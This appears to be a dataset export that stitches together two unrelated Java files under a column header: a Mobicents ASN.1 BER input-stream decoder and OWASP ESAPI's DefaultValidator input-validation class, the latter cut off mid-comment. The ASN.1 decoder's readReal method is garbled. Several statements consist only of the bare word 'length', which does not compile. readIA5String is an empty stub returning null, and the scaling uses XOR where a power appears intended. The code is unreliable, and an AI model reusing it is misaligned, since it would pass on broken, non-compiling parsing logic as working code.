answer
stringlengths 17
10.2M
|
|---|
package org.mobicents.protocols.asn;
import java.io.EOFException;
import java.io.FilterInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.nio.ByteBuffer;
/**
*
* @author amit bhayani
* @author baranowb
*/
@SuppressWarnings("unused")
public class AsnInputStream extends FilterInputStream {
private static final int DATA_BUCKET_SIZE = 1024;
//tmp variables
private static final int REAL_BB_SIGN_POSITIVE = 0x00;
private static final int REAL_BB_SIGN_NEGATIVE = 0x01;
private static final int REAL_BB_SIGN_MASK = 0x40;
/**
* Mask for base:
* <ul>
* <li><b>00</b> base 2</li>
* <li><b>01</b> base 8</li>
* <li><b>11</b> base 16</li>
* </ul>
*/
private static final int REAL_BB_BASE_MASK = 0x30;
/**
* Mask for scale:
* <ul>
* <li><b>00</b> 0</li>
* <li><b>01</b> 1</li>
* <li><b>10</b> 2</li>
* <li><b>11</b> 3</li>
* </ul>
*/
private static final int REAL_BB_SCALE_MASK = 0xC;
/**
* Mask for encoding exponent (length):
* <ul>
* <li><b>00</b> on the following octet</li>
* <li><b>01</b> on the 2 following octets</li>
* <li><b>10</b> on the 3 following octets</li>
* <li><b>11</b> encoding of the length of the 2's-complement encoding of
* exponent on the following octet, and 2's-complement encoding of exponent
* on the other octets</li>
* </ul>
*/
private static final int REAL_BB_EE_MASK = 0x3;
private static final int REAL_NR1 = 0x01;
private static final int REAL_NR2 = 0x10;
private static final int REAL_NR3 = 0x11;
public AsnInputStream(InputStream in) {
super(in);
}
@Override
public int read() throws IOException {
int i = super.read();
if (i == -1) {
throw new EOFException("input stream has reached the end");
}
return i;
}
public Tag readTag() throws IOException {
Tag tag = null;
byte b = (byte) this.read();
int tagClass = b & Tag.CLASS_MASK;
int pCBit = b & Tag.PC_MASK;
int value = b & Tag.NUMBER_MASK;
// For larger tag values, the first octet has all ones in bits 5 to 1, and the tag value is then encoded in
// as many following octets as are needed, using only the least significant seven bits of each octet,
// and using the minimum number of octets for the encoding. The most significant bit (the "more"
// bit) is set to 1 in the first following octet, and to zero in the last.
if (value == Tag.NUMBER_MASK) {
byte temp;
value = 0;
do {
temp = (byte) this.read();
value = (value << 7) | (0x7F & temp);
} while (0 != (0x80 & temp));
}
tag = new Tag(tagClass, (pCBit == 0 ? true : false), value);
return tag;
}
public int readLength() throws IOException {
int length = -1;
byte b = (byte) this.read();
// This is short form. The short form can be used if the number of octets in the Value part is less than or
// equal to 127, and can be used whether the Value part is primitive or constructed. This form is identified by
// encoding bit 8 as zero, with the length count in bits 7 to 1 (as usual, with bit 7 the most significant bit
// of the length).
if ((b & 0x80) == 0) {
return b;
}
// This is indefinite form. The indefinite form of length can only be used (but does not have to be) if the V
// part is constructed, that
// is to say, consists of a series of TLVs. In the indefinite form of length the first bit of the first octet is
// set to 1, as for the long form, but the value N is set to zero.
b = (byte) (b & 0x7F);
if (b == 0) {
return length;
}
// If bit 8 of the first length octet is set to 1, then we have the long form of length. In long form, the first
// octet encodes in its remaining seven bits a value N which is the length of a series of octets that themselves
// encode the length of the Value part.
byte temp;
for (int i = 0; i < b; i++) {
temp = (byte) this.read();
length = (length << 8) | (0x00FF & temp);
}
return length;
}
/**
* Reads and converts for {@link Tag#BOOLEAN} primitive
* @return
* @throws AsnException
* @throws IOException
*/
public boolean readBoolean() throws AsnException, IOException {
byte temp;
int length = readLength();
if (length != 1)
throw new AsnException("Boolean length should be 1 but is " + length);
temp = (byte) this.read();
// If temp is not zero stands for true irrespective of actual Value
return (temp != 0);
}
/**
* Reads and converts for {@link Tag#INTEGER} primitive
* @param length
* @return
* @throws AsnException
* @throws IOException
*/
public long readInteger(int length) throws AsnException, IOException {
long value = 0;
byte temp;
if (length == -1)
throw new AsnException("Length for Integer is -1");
if (length == 0)
return value;
temp = (byte) this.read();
value = temp; // sign extended
for (int i = 0; i < length - 1; i++) {
temp = (byte) this.read();
value = (value << 8) | (0x00FF & temp);
}
return value;
}
/**
* Reads and converts for {@link Tag#REAL} primitive
*
* @param base10
* -
* <ul>
* <li><b>true</b> if real is encoded in base of 10 ( decimal )</li>
* <li><b>false</b> if real is encoded in base of 2 ( binary )</li>
* </ul>
* @return
* @throws AsnException
* @throws IOException
*/
public double readReal() throws AsnException, IOException {
int length = readLength();
//universal part, regardles of base10 value
if(length == 0)
{
//yeah, nice
return 0.0;
}
if(length == 1)
{
//+INF/-INF
int b = this.read() & 0xFF;
if(b == 0x40)
{
return Double.POSITIVE_INFINITY;
}else if(b == 0x41)
{
return Double.NEGATIVE_INFINITY;
}else
{
throw new AsnException("Real length indicates positive/negative infinity, but value is wrong: "+Integer.toBinaryString(b));
}
}
int infoBits = this.read();
//substract on for info bits
length
//only binary has first bit of info set to 1;
boolean base10 = (((infoBits>>7) & 0x01) == 0x01);
//now the tricky part, this takes into account base10
if(base10)
{
//encoded as char string
String nrRep = this.readIA5String(length);
//should NR be retained somewhere?
return Double.parseDouble(nrRep);
}else
{
//encoded binary - mantisa and all that funny digits.
//the REAL type has been semantically equivalent to the
//type:
//[UNIVERSAL 9] IMPLICIT SEQUENCE {
//mantissa INTEGER (ALL EXCEPT 0),
//base INTEGER (2|10),
//exponent INTEGER }
//sign x N x (2 ^ scale) x (base ^ E); --> base ^ E == 2 ^(E+x) == where x
int tmp = 0;
int signBit = (infoBits & REAL_BB_SIGN_MASK);
//now lets determine length of e(exponent) and n(positive integer)
long e = 0;
int s = (infoBits & REAL_BB_SCALE_MASK)>>2;
tmp = infoBits & REAL_BB_EE_MASK;
if(tmp == 0x0)
{
e = this.read() & 0xFF;
length
//real representation
}else if( tmp == 0x01)
{
e = (this.read() & 0xFF)<<8;
length
e |= this.read() & 0xFF;
length
if(e>0x7FF)
{
//to many bits... Double
throw new AsnException("Exponent part has to many bits lit, allowed are 11, present: "+Long.toBinaryString(e));
}
//prepare E to become bits - this may cause loose of data,
e &=0x7FF;
}else
{
//this is too big for java to handle.... we can have up to 11 bits..
throw new AsnException("Exponent part has to many bits lit, allowed are 11, but stream indicates 3 or more octets");
}
//now we may read up to 52bits
//7*8 == 56, we need up to 52
if(length>7)
{
throw new AsnException("Length exceeds JAVA double mantisa size");
}
long n = 0;
while(length>0)
{
--length;
long readV = (((long)this.read() << 32)>>>32) & 0xFF;
readV= readV << (length*8);
//((long) in.readInt() << 32) >>> 32;
n|=readV;
}
//we have real part, now lets add that scale
n = n<< (2^s);
//now lets take care of different base, we are base2: base8 == base2^3,base16== base2^4
int base = (infoBits & REAL_BB_BASE_MASK) >> 4;
//is this correct?
if(base == 0x01)
{
e= e*3; // (2^3)^e
}else if(base == 0x10)
{
e= e*4; // (2^4)^e
}
//do check again.
if(e>0x7FF)
{
//to many bits... Double
throw new AsnException("Exponent part has to many bits lit, allowed are 11, present: "+Long.toBinaryString(e));
}
//double is 8bytes
byte[] doubleRep = new byte[8];
//set sign
doubleRep[0] = (byte) (signBit<<7);
//now get first 7 bits of e;
doubleRep[0]|=((e>>7) & 0xFF);
doubleRep[1] = (byte) ( (e & 0x0F)<<4);
//from back its easier
doubleRep[7] = (byte) n;
doubleRep[6] = (byte) (n>>8);
doubleRep[5] = (byte) (n>>16);
doubleRep[4] = (byte) (n>>24);
doubleRep[3] = (byte) (n>>32);
doubleRep[2] = (byte) (n>>40);
doubleRep[1] |= (byte) ( (n>>48) & 0x0F);
ByteBuffer bb=ByteBuffer.wrap(doubleRep);
return bb.getDouble();
}
}
public String readIA5String(int length) {
// TODO Auto-generated method stub
return null;
}
/**
* Reads and converts for {@link Tag#STRING_OCTET} primitive
* @param length
* @param primitive
* @param outputStream
* @throws AsnException
* @throws IOException
*/
public void readOctetString(int length, boolean primitive, OutputStream outputStream) throws AsnException,
IOException {
if (primitive) {
this.fillOutputStream(outputStream, length);
} else {
if (length != 0x80) {
throw new AsnException("The length field of Constructed OctetString is not 0x80");
}
}
}
/**
* Read and converts(actually does not since its null) for {@link Tag#NULL} primitive
*/
public void readNull() throws AsnException,
IOException
{
int length = readLength();
if (length != 0)
throw new AsnException("Null length should be 0 but is " + length);
//and thats it. Null has no V part. Its encoded as follows:
//T[0000 0101] L[0000 0000] V[]
}
private void fillOutputStream(OutputStream stream, int length) throws AsnException, IOException {
byte[] dataBucket = new byte[DATA_BUCKET_SIZE];
int readCount;
while (length != 0) {
readCount = read(dataBucket, 0, length < DATA_BUCKET_SIZE ? length : DATA_BUCKET_SIZE);
if (readCount == -1)
throw new AsnException("input stream has reached the end");
stream.write(dataBucket, 0, readCount);
length -= readCount;
}
}
}
|
package org.owasp.esapi.reference;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.text.DateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Pattern;
import javax.servlet.http.HttpServletRequest;
import org.owasp.esapi.ESAPI;
import org.owasp.esapi.Encoder;
import org.owasp.esapi.ValidationErrorList;
import org.owasp.esapi.ValidationRule;
import org.owasp.esapi.Validator;
import org.owasp.esapi.errors.IntrusionException;
import org.owasp.esapi.errors.ValidationAvailabilityException;
import org.owasp.esapi.errors.ValidationException;
import org.owasp.esapi.reference.validation.CreditCardValidationRule;
import org.owasp.esapi.reference.validation.DateValidationRule;
import org.owasp.esapi.reference.validation.HTMLValidationRule;
import org.owasp.esapi.reference.validation.IntegerValidationRule;
import org.owasp.esapi.reference.validation.NumberValidationRule;
import org.owasp.esapi.reference.validation.StringValidationRule;
public class DefaultValidator implements org.owasp.esapi.Validator {
private static volatile Validator instance = null;
public static Validator getInstance() {
if ( instance == null ) {
synchronized ( Validator.class ) {
if ( instance == null ) {
instance = new DefaultValidator();
}
}
}
return instance;
}
/** A map of validation rules */
private Map<String, ValidationRule> rules = new HashMap<String, ValidationRule>();
/** The encoder to use for canonicalization */
private Encoder encoder = null;
/** The encoder to use for file system */
private static Validator fileValidator = null;
/** Initialize file validator with an appropriate set of codecs */
static {
List<String> list = new ArrayList<String>();
list.add( "HTMLEntityCodec" );
list.add( "PercentCodec" );
Encoder fileEncoder = new DefaultEncoder( list );
fileValidator = new DefaultValidator( fileEncoder );
}
/**
* Default constructor uses the ESAPI standard encoder for canonicalization.
*/
public DefaultValidator() {
this.encoder = ESAPI.encoder();
}
/**
* Construct a new DefaultValidator that will use the specified
* Encoder for canonicalization.
*
* @param encoder
*/
public DefaultValidator( Encoder encoder ) {
this.encoder = encoder;
}
/**
* Add a validation rule to the registry using the "type name" of the rule as the key.
*/
public void addRule( ValidationRule rule ) {
rules.put( rule.getTypeName(), rule );
}
/**
* Get a validation rule from the registry with the "type name" of the rule as the key.
*/
public ValidationRule getRule( String name ) {
return rules.get( name );
}
public boolean isValidInput(String context, String input, String type, int maxLength, boolean allowNull) throws IntrusionException {
try {
getValidInput( context, input, type, maxLength, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
public String getValidInput(String context, String input, String type, int maxLength, boolean allowNull) throws ValidationException {
StringValidationRule rvr = new StringValidationRule( type, encoder );
Pattern p = ESAPI.securityConfiguration().getValidationPattern( type );
if ( p != null ) {
rvr.addWhitelistPattern( p );
} else {
rvr.addWhitelistPattern( type );
}
rvr.setMaximumLength(maxLength);
rvr.setAllowNull(allowNull);
return rvr.getValid(context, input);
}
public String getValidInput(String context, String input, String type, int maxLength, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidInput(context, input, type, maxLength, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
// TODO - optimize so that invalid input is not canonicalized twice
return encoder.canonicalize(input);
}
/**
* {@inheritDoc}
*/
public boolean isValidDate(String context, String input, DateFormat format, boolean allowNull) throws IntrusionException {
try {
getValidDate( context, input, format, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public Date getValidDate(String context, String input, DateFormat format, boolean allowNull) throws ValidationException, IntrusionException {
DateValidationRule dvr = new DateValidationRule( "SimpleDate", encoder, format);
dvr.setAllowNull(allowNull);
return dvr.getValid(context, input);
}
/**
* {@inheritDoc}
*/
public Date getValidDate(String context, String input, DateFormat format, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidDate(context, input, format, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return null
return null;
}
/**
* {@inheritDoc}
*/
public boolean isValidSafeHTML(String context, String input, int maxLength, boolean allowNull) throws IntrusionException {
try {
getValidSafeHTML( context, input, maxLength, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*
* This implementation relies on the OWASP AntiSamy project.
*/
public String getValidSafeHTML( String context, String input, int maxLength, boolean allowNull ) throws ValidationException, IntrusionException {
HTMLValidationRule hvr = new HTMLValidationRule( "safehtml", encoder );
hvr.setMaximumLength(maxLength);
hvr.setAllowNull(allowNull);
return hvr.getValid(context, input);
}
/**
* {@inheritDoc}
*/
public String getValidSafeHTML(String context, String input, int maxLength, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidSafeHTML(context, input, maxLength, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*/
public boolean isValidCreditCard(String context, String input, boolean allowNull) throws IntrusionException {
try {
getValidCreditCard( context, input, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public String getValidCreditCard(String context, String input, boolean allowNull) throws ValidationException, IntrusionException {
CreditCardValidationRule ccvr = new CreditCardValidationRule( "creditcard", encoder );
ccvr.setAllowNull(allowNull);
return ccvr.getValid(context, input);
}
/**
* {@inheritDoc}
*/
public String getValidCreditCard(String context, String input, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidCreditCard(context, input, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
// TODO - optimize so that invalid input is not canonicalized twice
return encoder.canonicalize(input);
}
/**
* {@inheritDoc}
*
* <p><b>Note:</b> On platforms that support symlinks, this function will fail canonicalization if directorypath
* is a symlink. For example, on MacOS X, /etc is actually /private/etc. If you mean to use /etc, use its real
* path (/private/etc), not the symlink (/etc).</p>
*/
public boolean isValidDirectoryPath(String context, String input, File parent, boolean allowNull) throws IntrusionException {
try {
getValidDirectoryPath( context, input, parent, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public String getValidDirectoryPath(String context, String input, File parent, boolean allowNull) throws ValidationException, IntrusionException {
try {
if (isEmpty(input)) {
if (allowNull) return null;
throw new ValidationException( context + ": Input directory path required", "Input directory path required: context=" + context + ", input=" + input, context );
}
File dir = new File( input );
// check dir exists and parent exists and dir is inside parent
if ( !dir.exists() ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory, does not exist: context=" + context + ", input=" + input );
}
if ( !dir.isDirectory() ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory, not a directory: context=" + context + ", input=" + input );
}
if ( !parent.exists() ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory, specified parent does not exist: context=" + context + ", input=" + input + ", parent=" + parent );
}
if ( !parent.isDirectory() ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory, specified parent is not a directory: context=" + context + ", input=" + input + ", parent=" + parent );
}
if ( !dir.getCanonicalPath().startsWith(parent.getCanonicalPath() ) ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory, not inside specified parent: context=" + context + ", input=" + input + ", parent=" + parent );
}
// check canonical form matches input
String canonicalPath = dir.getCanonicalPath();
String canonical = fileValidator.getValidInput( context, canonicalPath, "DirectoryName", 255, false);
if ( !canonical.equals( input ) ) {
throw new ValidationException( context + ": Invalid directory name", "Invalid directory name does not match the canonical path: context=" + context + ", input=" + input + ", canonical=" + canonical, context );
}
return canonical;
} catch (Exception e) {
throw new ValidationException( context + ": Invalid directory name", "Failure to validate directory path: context=" + context + ", input=" + input, e, context );
}
}
/**
* {@inheritDoc}
*/
public String getValidDirectoryPath(String context, String input, File parent, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidDirectoryPath(context, input, parent, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*/
public boolean isValidFileName(String context, String input, boolean allowNull) throws IntrusionException {
return isValidFileName( context, input, ESAPI.securityConfiguration().getAllowedFileExtensions(), allowNull );
}
/**
* {@inheritDoc}
*/
public boolean isValidFileName(String context, String input, List<String> allowedExtensions, boolean allowNull) throws IntrusionException {
try {
getValidFileName( context, input, allowedExtensions, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public String getValidFileName(String context, String input, List<String> allowedExtensions, boolean allowNull) throws ValidationException, IntrusionException {
String canonical = "";
// detect path manipulation
try {
if (isEmpty(input)) {
if (allowNull) return null;
throw new ValidationException( context + ": Input file name required", "Input required: context=" + context + ", input=" + input, context );
}
// do basic validation
canonical = new File(input).getCanonicalFile().getName();
getValidInput( context, input, "FileName", 255, true );
File f = new File(canonical);
String c = f.getCanonicalPath();
String cpath = c.substring(c.lastIndexOf(File.separator) + 1);
// the path is valid if the input matches the canonical path
if (!input.equals(cpath)) {
throw new ValidationException( context + ": Invalid file name", "Invalid directory name does not match the canonical path: context=" + context + ", input=" + input + ", canonical=" + canonical, context );
}
} catch (IOException e) {
throw new ValidationException( context + ": Invalid file name", "Invalid file name does not exist: context=" + context + ", canonical=" + canonical, e, context );
}
// verify extensions
Iterator<String> i = allowedExtensions.iterator();
while (i.hasNext()) {
String ext = i.next();
if (input.toLowerCase().endsWith(ext.toLowerCase())) {
return canonical;
}
}
throw new ValidationException( context + ": Invalid file name does not have valid extension ( "+allowedExtensions+")", "Invalid file name does not have valid extension ( "+allowedExtensions+"): context=" + context+", input=" + input, context );
}
/**
* {@inheritDoc}
*/
public String getValidFileName(String context, String input, List<String> allowedParameters, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidFileName(context, input, allowedParameters, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
// TODO - optimize so that invalid input is not canonicalized twice
try {
return new File(input).getCanonicalFile().getName();
} catch (IOException e) {
// TODO = consider logging canonicalization error?
return input;
}
}
/**
* {@inheritDoc}
*/
public boolean isValidNumber(String context, String input, long minValue, long maxValue, boolean allowNull) throws IntrusionException {
try {
getValidNumber(context, input, minValue, maxValue, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public Double getValidNumber(String context, String input, long minValue, long maxValue, boolean allowNull) throws ValidationException, IntrusionException {
Double minDoubleValue = new Double(minValue);
Double maxDoubleValue = new Double(maxValue);
return getValidDouble(context, input, minDoubleValue.doubleValue(), maxDoubleValue.doubleValue(), allowNull);
}
/**
* {@inheritDoc}
*/
public Double getValidNumber(String context, String input, long minValue, long maxValue, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidNumber(context, input, minValue, maxValue, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return null
return null;
}
/**
* {@inheritDoc}
*/
public boolean isValidDouble(String context, String input, double minValue, double maxValue, boolean allowNull) throws IntrusionException {
try {
getValidDouble( context, input, minValue, maxValue, allowNull );
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public Double getValidDouble(String context, String input, double minValue, double maxValue, boolean allowNull) throws ValidationException, IntrusionException {
NumberValidationRule nvr = new NumberValidationRule( "number", encoder, minValue, maxValue );
nvr.setAllowNull(allowNull);
return nvr.getValid(context, input);
}
/**
* {@inheritDoc}
*/
public Double getValidDouble(String context, String input, double minValue, double maxValue, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidDouble(context, input, minValue, maxValue, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return null
return null;
}
/**
* {@inheritDoc}
*/
public boolean isValidInteger(String context, String input, int minValue, int maxValue, boolean allowNull) throws IntrusionException {
try {
getValidInteger( context, input, minValue, maxValue, allowNull);
return true;
} catch( ValidationException e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public Integer getValidInteger(String context, String input, int minValue, int maxValue, boolean allowNull) throws ValidationException, IntrusionException {
IntegerValidationRule ivr = new IntegerValidationRule( "number", encoder, minValue, maxValue );
ivr.setAllowNull(allowNull);
return ivr.getValid(context, input);
}
/**
* {@inheritDoc}
*/
public Integer getValidInteger(String context, String input, int minValue, int maxValue, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidInteger(context, input, minValue, maxValue, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return null;
}
/**
* {@inheritDoc}
*/
public boolean isValidFileContent(String context, byte[] input, int maxBytes, boolean allowNull) throws IntrusionException {
try {
getValidFileContent( context, input, maxBytes, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* {@inheritDoc}
*/
public byte[] getValidFileContent(String context, byte[] input, int maxBytes, boolean allowNull) throws ValidationException, IntrusionException {
if (isEmpty(input)) {
if (allowNull) return null;
throw new ValidationException( context + ": Input required", "Input required: context=" + context + ", input=" + input, context );
}
long esapiMaxBytes = ESAPI.securityConfiguration().getAllowedFileUploadSize();
if (input.length > esapiMaxBytes ) throw new ValidationException( context + ": Invalid file content can not exceed " + esapiMaxBytes + " bytes", "Exceeded ESAPI max length", context );
if (input.length > maxBytes ) throw new ValidationException( context + ": Invalid file content can not exceed " + maxBytes + " bytes", "Exceeded maxBytes ( " + input.length + ")", context );
return input;
}
/**
* {@inheritDoc}
*/
public byte[] getValidFileContent(String context, byte[] input, int maxBytes, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidFileContent(context, input, maxBytes, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*
* <p><b>Note:</b> On platforms that support symlinks, this function will fail canonicalization if directorypath
* is a symlink. For example, on MacOS X, /etc is actually /private/etc. If you mean to use /etc, use its real
* path (/private/etc), not the symlink (/etc).</p>
*/
public boolean isValidFileUpload(String context, String directorypath, String filename, File parent, byte[] content, int maxBytes, boolean allowNull) throws IntrusionException {
return( isValidFileName( context, filename, allowNull ) &&
isValidDirectoryPath( context, directorypath, parent, allowNull ) &&
isValidFileContent( context, content, maxBytes, allowNull ) );
}
/**
* {@inheritDoc}
*/
public void assertValidFileUpload(String context, String directorypath, String filename, File parent, byte[] content, int maxBytes, List<String> allowedExtensions, boolean allowNull) throws ValidationException, IntrusionException {
getValidFileName( context, filename, allowedExtensions, allowNull );
getValidDirectoryPath( context, directorypath, parent, allowNull );
getValidFileContent( context, content, maxBytes, allowNull );
}
/**
* {@inheritDoc}
*/
public void assertValidFileUpload(String context, String filepath, String filename, File parent, byte[] content, int maxBytes, List<String> allowedExtensions, boolean allowNull, ValidationErrorList errors)
throws IntrusionException {
try {
assertValidFileUpload(context, filepath, filename, parent, content, maxBytes, allowedExtensions, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
}
/**
* {@inheritDoc}
*
* Returns true if input is a valid list item.
*/
public boolean isValidListItem(String context, String input, List<String> list) {
try {
getValidListItem( context, input, list);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* Returns the list item that exactly matches the canonicalized input. Invalid or non-matching input
* will generate a descriptive ValidationException, and input that is clearly an attack
* will generate a descriptive IntrusionException.
*/
public String getValidListItem(String context, String input, List<String> list) throws ValidationException, IntrusionException {
if (list.contains(input)) return input;
throw new ValidationException( context + ": Invalid list item", "Invalid list item: context=" + context + ", input=" + input, context );
}
/**
* ValidationErrorList variant of getValidListItem
*
* @param errors
*/
public String getValidListItem(String context, String input, List<String> list, ValidationErrorList errors) throws IntrusionException {
try {
return getValidListItem(context, input, list);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*/
public boolean isValidHTTPRequestParameterSet(String context, HttpServletRequest request, Set<String> requiredNames, Set<String> optionalNames) {
try {
assertValidHTTPRequestParameterSet( context, request, requiredNames, optionalNames);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* Validates that the parameters in the current request contain all required parameters and only optional ones in
* addition. Invalid input will generate a descriptive ValidationException, and input that is clearly an attack
* will generate a descriptive IntrusionException.
*
* Uses current HTTPRequest
*/
public void assertValidHTTPRequestParameterSet(String context, HttpServletRequest request, Set<String> required, Set<String> optional) throws ValidationException, IntrusionException {
Set<String> actualNames = request.getParameterMap().keySet();
// verify ALL required parameters are present
Set<String> missing = new HashSet<String>(required);
missing.removeAll(actualNames);
if (missing.size() > 0) {
throw new ValidationException( context + ": Invalid HTTP request missing parameters", "Invalid HTTP request missing parameters " + missing + ": context=" + context, context );
}
// verify ONLY optional + required parameters are present
Set<String> extra = new HashSet<String>(actualNames);
extra.removeAll(required);
extra.removeAll(optional);
if (extra.size() > 0) {
throw new ValidationException( context + ": Invalid HTTP request extra parameters " + extra, "Invalid HTTP request extra parameters " + extra + ": context=" + context, context );
}
}
/**
* ValidationErrorList variant of assertIsValidHTTPRequestParameterSet
*
* Uses current HTTPRequest saved in ESAPI Authenticator
* @param errors
*/
public void assertValidHTTPRequestParameterSet(String context, HttpServletRequest request, Set<String> required, Set<String> optional, ValidationErrorList errors) throws IntrusionException {
try {
assertValidHTTPRequestParameterSet(context, request, required, optional);
} catch (ValidationException e) {
errors.addError(context, e);
}
}
public boolean isValidPrintable(String context, char[] input, int maxLength, boolean allowNull) throws IntrusionException {
try {
getValidPrintable( context, input, maxLength, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* Returns canonicalized and validated printable characters as a byte array. Invalid input will generate a descriptive ValidationException, and input that is clearly an attack
* will generate a descriptive IntrusionException.
*
* @throws IntrusionException
*/
public char[] getValidPrintable(String context, char[] input, int maxLength, boolean allowNull) throws ValidationException, IntrusionException {
if (isEmpty(input)) {
if (allowNull) return null;
throw new ValidationException(context + ": Input bytes required", "Input bytes required: HTTP request is null", context );
}
if (input.length > maxLength) {
throw new ValidationException(context + ": Input bytes can not exceed " + maxLength + " bytes", "Input exceeds maximum allowed length of " + maxLength + " by " + (input.length-maxLength) + " bytes: context=" + context + ", input=" + new String( input ), context);
}
for (int i = 0; i < input.length; i++) {
if (input[i] <= 0x20 || input[i] >= 0x7E ) {
throw new ValidationException(context + ": Invalid input bytes: context=" + context, "Invalid non-ASCII input bytes, context=" + context + ", input=" + new String( input ), context);
}
}
return input;
}
/**
* ValidationErrorList variant of getValidPrintable
*
* @param errors
*/
public char[] getValidPrintable(String context, char[] input,int maxLength, boolean allowNull, ValidationErrorList errors)
throws IntrusionException {
try {
return getValidPrintable(context, input, maxLength, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*
* Returns true if input is valid printable ASCII characters (32-126).
*/
public boolean isValidPrintable(String context, String input, int maxLength, boolean allowNull) throws IntrusionException {
try {
getValidPrintable( context, input, maxLength, allowNull);
return true;
} catch( Exception e ) {
return false;
}
}
/**
* Returns canonicalized and validated printable characters as a String. Invalid input will generate a descriptive ValidationException, and input that is clearly an attack
* will generate a descriptive IntrusionException.
*
* @throws IntrusionException
*/
public String getValidPrintable(String context, String input, int maxLength, boolean allowNull) throws ValidationException, IntrusionException {
try {
String canonical = encoder.canonicalize(input);
return new String( getValidPrintable( context, canonical.toCharArray(), maxLength, allowNull) );
//TODO - changed this to base Exception since we no longer need EncodingException
//TODO - this is a bit lame: we need to re-think this function.
} catch (Exception e) {
throw new ValidationException( context + ": Invalid printable input", "Invalid encoding of printable input, context=" + context + ", input=" + input, e, context);
}
}
/**
* ValidationErrorList variant of getValidPrintable
*
* @param errors
*/
public String getValidPrintable(String context, String input,int maxLength, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidPrintable(context, input, maxLength, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* Returns true if input is a valid redirect location.
*/
public boolean isValidRedirectLocation(String context, String input, boolean allowNull) throws IntrusionException {
return ESAPI.validator().isValidInput( context, input, "Redirect", 512, allowNull);
}
/**
* Returns a canonicalized and validated redirect location as a String. Invalid input will generate a descriptive ValidationException, and input that is clearly an attack
* will generate a descriptive IntrusionException.
*/
public String getValidRedirectLocation(String context, String input, boolean allowNull) throws ValidationException, IntrusionException {
return ESAPI.validator().getValidInput( context, input, "Redirect", 512, allowNull);
}
/**
* ValidationErrorList variant of getValidRedirectLocation
*
* @param errors
*/
public String getValidRedirectLocation(String context, String input, boolean allowNull, ValidationErrorList errors) throws IntrusionException {
try {
return getValidRedirectLocation(context, input, allowNull);
} catch (ValidationException e) {
errors.addError(context, e);
}
// error has been added to list, so return original input
return input;
}
/**
* {@inheritDoc}
*
* This implementation reads until a newline or the specified number of
* characters.
*
* @param in
* @param max
*/
public String safeReadLine(InputStream in, int max) throws ValidationException {
if (max <= 0) {
throw new ValidationAvailabilityException( "Invalid input", "Invalid readline. Must read a positive number of bytes from the stream");
}
StringBuilder sb = new StringBuilder();
int count = 0;
int c;
try {
while (true) {
c = in.read();
if ( c == -1 ) {
if (sb.length() == 0) {
return null;
}
break;
}
if (c == '\n' || c == '\r') {
break;
}
count++;
if (count > max) {
throw new ValidationAvailabilityException( "Invalid input", "Invalid readLine. Read more than maximum characters allowed (" + max + ")");
}
sb.append((char) c);
}
return sb.toString();
} catch (IOException e) {
throw new ValidationAvailabilityException( "Invalid input", "Invalid readLine. Problem reading from input stream", e);
}
}
/**
* Helper function to check if a String is empty
